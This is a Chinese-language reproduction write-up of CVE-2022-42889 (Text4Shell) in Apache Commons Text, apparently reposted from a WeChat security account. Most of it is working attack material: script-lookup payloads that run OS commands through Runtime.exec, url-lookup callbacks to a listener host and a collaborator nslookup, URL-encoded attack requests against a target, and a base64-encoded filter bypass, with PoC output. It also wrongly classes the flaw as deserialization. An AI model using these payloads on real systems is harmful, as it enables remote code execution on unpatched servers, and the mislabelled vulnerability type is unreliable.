漏洞描述:
在 Apache Common Text 包 1.5 到 1.9 中发现了一个存在缺陷的代码执行版本。攻击者从 Apache Commons Text 中包含的过程中成功完成,插值可能被动态定义。服务器应用程序会受到影响(RCE) 和不受远程服务器的隐私接触的影响。
ApacheCommonsText执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,默认 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。
这些查找是:
– “script” – 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 – “dns” – 解析 dns 记录 – “url” – 从 url 加载值,包括来自远程服务器 如果使用了不受信任的配置值,则在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器的无意接触的影响。
漏洞利用条件:
运行 1.5 到 1.9 版本的 Apache Commons Text
使用StringSubstitutor插值器
漏洞名称 | Apache Commons Text <1.10.0 远程代码执行漏洞 |
---|---|
漏洞类型 | 反序列化 |
发现时间 |
2022-10-13 |
Ladon回显 漏洞检测POC
使用url Ladon渗透服务器监听,成功收到回显
${url:UTF-8:http://192.168.188.2/isvul}
Format
${script:<engine>:<code>}
Example
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
Example in PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
=============================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
=============================================
PoC Output:
Process[pid=67, exitValue=0]
=============================================
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7
docke环境 远程POC
http://192.168.62.174/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec'touch /tmp/foo’)}
http://192.168.62.174/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%27touch%20%2Ftmp%2Ffoo%27%29%7D
使用LadonExp提交无需转义直接发包,整个过程比浏览器方便
URL直接提交会报400错误
浏览器提交需经过URL编码,整个过程比LadonEXP多了一个步骤,要是编码过程中转义出错,就会导致整个POC不能用,调式过程浪费不必要的时间。
编码后才可正常执行命令
Base64编码绕过
${base64Decoder:JHt1cmw6VVRGLTg6aHR0cDovLzE5Mi4xNjguMTg4LjIvYWFhYWF9}
官方API,还有很多利用姿势,可自行构造其它绕过POC
参考
https://commons.apache.org/proper/commons-text/javadocs/api-release/org/apache/commons/text/lookup/StringLookupFactory.html
https://infosecwriteups.com/text4shell-poc-cve-2022-42889-f6e9df41b3b7 docker & poc
https://github.com/SeanWrightSec/CVE-2022-42889-PoC
https://github.com/karthikuj/cve-2022-42889-text4shell-docker
原文始发于微信公众号(K8实验室):CVE-2022-42889漏洞复现Apache Commons Text RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论